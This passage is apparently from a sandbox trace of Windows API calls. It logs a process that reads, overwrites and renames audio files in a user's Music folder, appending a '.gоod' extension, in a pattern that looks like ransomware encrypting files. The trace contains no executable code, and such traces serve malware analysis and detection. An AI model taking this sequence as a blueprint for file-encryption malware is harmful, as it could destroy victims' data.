lpFileInformation=0x37d8510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3c3860, ftCreationTime.dwHighDateTime=0x1d4ce70, ftLastAccessTime.dwLowDateTime=0x2f9ddd40, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x2f9ddd40, ftLastWriteTime.dwHighDateTime=0x1d4d154, nFileSizeHigh=0x0, nFileSizeLow=0xe7b8)) returned 1 [0200.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0200.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", lpFilePart=0x0) returned 0x33 [0200.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0200.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0200.719] GetFileType (hFile=0x828) returned 0x1 [0200.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0200.719] GetFileType (hFile=0x828) returned 0x1 [0200.719] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0200.719] ReadFile (in: hFile=0x828, lpBuffer=0x37d88e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x37d88e8*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0200.720] CloseHandle (hObject=0x828) returned 1 [0200.720] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", lpFilePart=0x0) returned 0x33 [0200.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0200.720] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0200.720] GetFileType (hFile=0x828) returned 0x1 [0200.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0200.721] GetFileType (hFile=0x828) returned 0x1 [0200.721] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0xe7b8 [0200.721] WriteFile (in: hFile=0x828, lpBuffer=0x37d9b60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x37d9b60*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0200.721] CloseHandle (hObject=0x828) returned 1 [0200.721] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", lpFilePart=0x0) returned 0x33 [0200.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0200.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0200.721] GetFileType (hFile=0x828) returned 0x1 [0200.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0200.722] GetFileType (hFile=0x828) returned 0x1 [0200.722] ReadFile (in: hFile=0x828, lpBuffer=0x37dbe00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x37dbe00*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0201.227] CloseHandle (hObject=0x828) returned 1 [0201.227] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", lpFilePart=0x0) returned 0x33 [0201.227] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.227] GetFileType (hFile=0x828) returned 0x1 [0201.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.227] GetFileType (hFile=0x828) returned 0x1 [0201.227] WriteFile (in: hFile=0x828, lpBuffer=0x3748560*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x3748560*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0201.228] CloseHandle (hObject=0x828) returned 1 [0201.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a", lpFilePart=0x0) returned 0x33 [0201.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a.gоod", lpFilePart=0x0) returned 0x38 [0201.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0201.228] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3c3860, ftCreationTime.dwHighDateTime=0x1d4ce70, ftLastAccessTime.dwLowDateTime=0x2f9ddd40, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x7426e159, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe7c8)) returned 1 [0201.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0201.228] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\05oGsAbkvo7J.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\05ogsabkvo7j.m4a.gоod")) returned 1 [0201.229] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", lpFilePart=0x0) returned 0x2e [0201.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0201.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x38f65f0 | out: lpFileInformation=0x38f65f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1bc0770, ftCreationTime.dwHighDateTime=0x1d4cbc4, ftLastAccessTime.dwLowDateTime=0x3ed1c1a0, ftLastAccessTime.dwHighDateTime=0x1d4d5c3, ftLastWriteTime.dwLowDateTime=0x3ed1c1a0, ftLastWriteTime.dwHighDateTime=0x1d4d5c3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0)) returned 1 [0201.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0201.229] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", lpFilePart=0x0) returned 0x2e [0201.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.229] GetFileType (hFile=0x828) returned 0x1 [0201.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.229] GetFileType (hFile=0x828) returned 0x1 [0201.229] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0201.229] ReadFile (in: hFile=0x828, lpBuffer=0x38f6998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x38f6998*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0201.230] CloseHandle (hObject=0x828) returned 1 [0201.230] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", lpFilePart=0x0) returned 0x2e [0201.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.230] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.230] GetFileType (hFile=0x828) returned 0x1 [0201.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.231] GetFileType (hFile=0x828) returned 0x1 [0201.231] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0xaea0 [0201.231] WriteFile (in: hFile=0x828, lpBuffer=0x38f7bf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x38f7bf8*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0201.231] CloseHandle (hObject=0x828) returned 1 [0201.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", lpFilePart=0x0) returned 0x2e [0201.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.231] GetFileType (hFile=0x828) returned 0x1 [0201.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.231] GetFileType (hFile=0x828) returned 0x1 [0201.231] ReadFile (in: hFile=0x828, lpBuffer=0x38f9e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x38f9e80*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0201.343] CloseHandle (hObject=0x828) returned 1 [0201.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", lpFilePart=0x0) returned 0x2e [0201.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.344] GetFileType (hFile=0x828) returned 0x1 [0201.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.344] GetFileType (hFile=0x828) returned 0x1 [0201.344] WriteFile (in: hFile=0x828, lpBuffer=0x3765b18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x3765b18*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0201.344] CloseHandle (hObject=0x828) returned 1 [0201.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3", lpFilePart=0x0) returned 0x2e [0201.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3.gоod", lpFilePart=0x0) returned 0x33 [0201.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0201.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1bc0770, ftCreationTime.dwHighDateTime=0x1d4cbc4, ftLastAccessTime.dwLowDateTime=0x3ed1c1a0, ftLastAccessTime.dwHighDateTime=0x1d4d5c3, ftLastWriteTime.dwLowDateTime=0x7439f344, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaeb0)) returned 1 [0201.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0201.344] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\jv Y7lK.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\jv y7lk.mp3.gоod")) returned 1 [0201.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", lpFilePart=0x0) returned 0x37 [0201.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0201.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), fInfoLevelId=0x0, lpFileInformation=0x37fbbf8 | out: lpFileInformation=0x37fbbf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1eadd0, ftCreationTime.dwHighDateTime=0x1d4d278, ftLastAccessTime.dwLowDateTime=0xe873a90, ftLastAccessTime.dwHighDateTime=0x1d4d0ad, ftLastWriteTime.dwLowDateTime=0xe873a90, ftLastWriteTime.dwHighDateTime=0x1d4d0ad, nFileSizeHigh=0x0, nFileSizeLow=0xc37b)) returned 1 [0201.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0201.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", lpFilePart=0x0) returned 0x37 [0201.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.346] GetFileType (hFile=0x828) returned 0x1 [0201.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.346] GetFileType (hFile=0x828) returned 0x1 [0201.346] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0201.346] ReadFile (in: hFile=0x828, lpBuffer=0x37fbff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x37fbff0*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0201.346] CloseHandle (hObject=0x828) returned 1 [0201.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", lpFilePart=0x0) returned 0x37 [0201.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.347] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.347] GetFileType (hFile=0x828) returned 0x1 [0201.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.347] GetFileType (hFile=0x828) returned 0x1 [0201.347] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0xc37b [0201.347] WriteFile (in: hFile=0x828, lpBuffer=0x37fd278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x37fd278*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0201.347] CloseHandle (hObject=0x828) returned 1 [0201.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", lpFilePart=0x0) returned 0x37 [0201.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.347] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.347] GetFileType (hFile=0x828) returned 0x1 [0201.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.348] GetFileType (hFile=0x828) returned 0x1 [0201.348] ReadFile (in: hFile=0x828, lpBuffer=0x37ff528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x37ff528*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0201.704] CloseHandle (hObject=0x828) returned 1 [0201.704] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", lpFilePart=0x0) returned 0x37 [0201.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0201.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0201.704] GetFileType (hFile=0x828) returned 0x1 [0201.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0201.704] GetFileType (hFile=0x828) returned 0x1 [0201.704] WriteFile (in: hFile=0x828, lpBuffer=0x32bfcd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x32bfcd0*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0201.704] CloseHandle (hObject=0x828) returned 1 [0201.704] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3", lpFilePart=0x0) returned 0x37 [0201.704] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3.gоod", lpFilePart=0x0) returned 0x3c [0201.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0201.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1eadd0, ftCreationTime.dwHighDateTime=0x1d4d278, ftLastAccessTime.dwLowDateTime=0xe873a90, ftLastAccessTime.dwHighDateTime=0x1d4d0ad, ftLastWriteTime.dwLowDateTime=0x7470cb9d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc38b)) returned 1 [0201.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0201.705] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\kMnPJ os9S3qMw3k.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\kmnpj os9s3qmw3k.mp3.gоod")) returned 1 [0201.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3", lpFilePart=0x0) returned 0x35 [0201.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0201.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\FCk2kyUXxmBU\\Lq7yU7WDn4888z.mp3" (normalized: "c:\\users\\fd1hvy\\music\\fck2kyuxxmbu\\lq7yu7wdn4888z.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3389ab8 | out: lpFileInformation=0x3389ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc719b230, ftCreationTime.dwHighDateTime=0x1d4d117, ftLastAccessTime.dwLowDateTime=0x47527a40, ftLastAccessTime.dwHighDateTime=0x1d4d1f4, ftLastWriteTime.dwLowDateTime=0x47527a40, 